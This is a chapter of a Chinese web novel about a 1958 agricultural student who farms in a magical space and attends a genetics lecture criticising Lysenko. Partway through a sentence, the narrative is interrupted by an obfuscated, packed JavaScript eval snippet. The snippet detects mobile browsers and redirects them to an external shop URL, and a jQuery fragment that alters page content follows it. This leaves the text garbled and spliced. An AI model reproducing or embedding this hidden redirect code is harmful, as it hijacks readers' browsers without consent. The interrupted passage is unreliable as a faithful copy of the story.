祝余得意道:“我拿一张饭票跟食堂阿姨换的,她给我挑了几个个头大的。”
这会儿不太好干活,她继续看自己的《西游记》,一直等到晚上十点多大家都睡了,她才轻手轻脚爬上床,拉上床帘,中间用一只发夹夹住,进了加速器。
里面的空气清新极了。
祝余深吸了一口,一号田她留给了桃子,二号田种了些杂七杂八的作物,原始黑土地,肥沃又饱满,她把玉米播种下去,预计四个月后就能收获——在没有任何加速的情况下。
而三号田,她设置成了适合种植西瓜的环境,沙壤土、ph值6的中性、有机质丰富,她还拿着砖头刨了些20厘米的垄,这种水果不耐涝,必须好好排水,不然根系容易腐烂。
泡了一下午的西瓜籽儿全部播种下去。
成了,祝余拍拍手。
她虽然不知道这个西瓜的品种,但按照常理来说,小西瓜的发育周期比大型西瓜短很多,从雌花开花到果实成熟只要二十多天,哪怕全生育期,也只用五六十天。
她拿起放在操作台上的笔记本。
笔记本还是崭新的,扉页那儿已经落下了“祝余”的大名,龙飞凤舞,相当潇洒。
她翻开第一页,开始记录。
标题“编号1958-01,小西瓜”。
然后写:“植物概况:不知名品种,于首都购入,大概率产自郊区。排球大小,皮厚,瓜瓤粉红,多汁味甜,籽极多。”
祝余一路行云流水,又把种子预处理(井水浸泡三小时)和种植环境(操作台的三号田数据)写了,记录的十分详细,严格按照了她上辈子的标准。
写完西瓜又写玉米,祝余隔开几页,洋洋洒洒写了一堆,编号定为“1958-02”。
很好。
祝余满意地弹了弹观察日记,这就是她农学征程的新开始——非常顺利。
……
周一早晨是仲平生的课。
他现在应该是全班最喜欢的老师了,性格温和、幽默,时不时还能开个小玩笑活跃课堂气氛,对学生不懂的地方也非常包容。
他一下课,周围的气场似乎都凝滞了。
“该是雁老师的课了,”陈凌云叹气。
饶是她这样热爱知识的人,碰到这位雁东归老师都有些发怵——无他,这位教授是典型的天才中的天才,而众所周知,天才是很难理解普通人的智商的,在他的课上,所有人仿佛都遭受了一番智商碾压的殴打。
他当然不会说什么恶毒的羞辱,但光是被用那双写满“这还不懂吗”的眼睛看着,就够让人难受的了。
“是的呀,雁老师的课。”
欢快的语调不用分辨,就知道是谁了。
庄秋生把课本和笔记塞进包里,头也没抬,摇头感慨:“我真是难以理解祝余。”
祝余美滋滋:“你们不觉得他的课讲得超棒吗?”受不了慢吞吞拖延时间的几人了,她把包往肩膀上一丢,“我先去了啊!”
说罢,开开心心跳着跑出去。
庄秋生长叹一声,“活久见啊。”
居然有人上赶着找虐。
……
“上节课,我已经为大家初步介绍了作物育种学,这节课,我先为大家介绍一下目前国际上比较权威的几种遗传学理论。”
讲台上的人声音沉着,光听着就仿佛构建出一个严厉的学者形象,事实上也的确如此。
雁东归一身熨出折痕的白色衬衫,领口折得笔挺,头发也一丝不苟。他严肃地环视了底下的小鹌鹑们一圈,“哪位同学对此有所了解,能为我们做一个简单介绍的?”
这是开始提问了。
底下的鹌鹑们没有敢抬头的,上节课,他们以为雁东归的提问和其他老师一样,只要预习过就能答上来,结果就是被他用失望的眼神看得浑身发痒——羞愧的。
在一片不敢对视的静默里,一只手高高地举起来,生怕人看不到似的,使劲摇晃。
雁东归点头,“祝余来。”
祝余骄傲地站起来,清清嗓子,“目前我们所学的主要是苏联李森科的理论,他拓展了米丘林遗传学——虽然米丘林同志本人未必认同他的观点。”
她幽默了一下,但其他同学没什么反应,这才想起来大家可能还不太了解米丘林。
她继续说:“李森科同志最有名的实验是“春化小麦”。他主张生物的获得性遗传,也就是生物特征不是由它的遗传物质决定的,而是由环境等因素
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166497|196737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
影响,并且这种后天性状可以代代遗传。他很有名,几十年前就是苏联那边的权威,哦,在咱们这边也是。”
她的语气十分客观,努力忍住贬义。
老天奶,祝余哪里敢贬低,苏森科的米丘林遗传学的权威地位不是夸张,他是真权威,反对他要被批评的诶!
雁东归有些吃惊。
虽然祝余努力忍了,但她是个情绪直白的孩子,语气里那点不赞同并不难听出。
他饶有兴致地问:“你对他有了解?”
课本上可只写了李森科的好话。
祝余委婉道:“我在图书馆看了一些书,关于遗传育种的。私以为,李森科同志是个很聪明的人物,当然,我绝对没有说他搞研究不怎么样的意思,我还是很欣赏他的。”
能得到领袖的认可,谁能比他聪明啊。
政治家比科学家更适合他的定位。
雁东归这回仔细看了祝余一眼。
他示意祝余坐下,语气平铺直叙,“我曾经见过李森科同志,不可否认,他是位极其出色的政客,但科学是不会归属于政治的,哪怕政治强迫科学服从——这就是我为大家准备的第二堂课,跟随科学实践,而不是跟随阶级和立场。”
祝余在底下倒吸一口凉气,眼里放光。
雁老师也太敢说了!
事实证明,雁东归不像他名字那么文雅,他相当强硬,狠狠批判了一番李森科那所谓的米丘林遗传学说,然后开始讲孟德尔-摩尔根的基因学说,毫不掩饰自己的主张。
这行为是非常大胆的。
基因学说由于出身西方等原因,现在被批评为唯心主义、资产阶级,总之苏联那边非常抵制,他们种花目前也不太认同。
所以雁东归在课上公然支持基因学说,对几十位学生的影响是非常大的。
两小时大脑风暴结束,所有人头昏脑胀,记了满满当当的笔记。祝余眼睛却还亮晶晶的,下课后,不自觉地跟上了雁东归的脚步。
没别的,想表达一下自己的敬佩。
雁东归回头看了眼,“祝余?”
祝余用力点头,小跑几步跟了上去,眼里的敬意快要溢出来,“老师你真厉害——我是说我能当你的课代表吗?”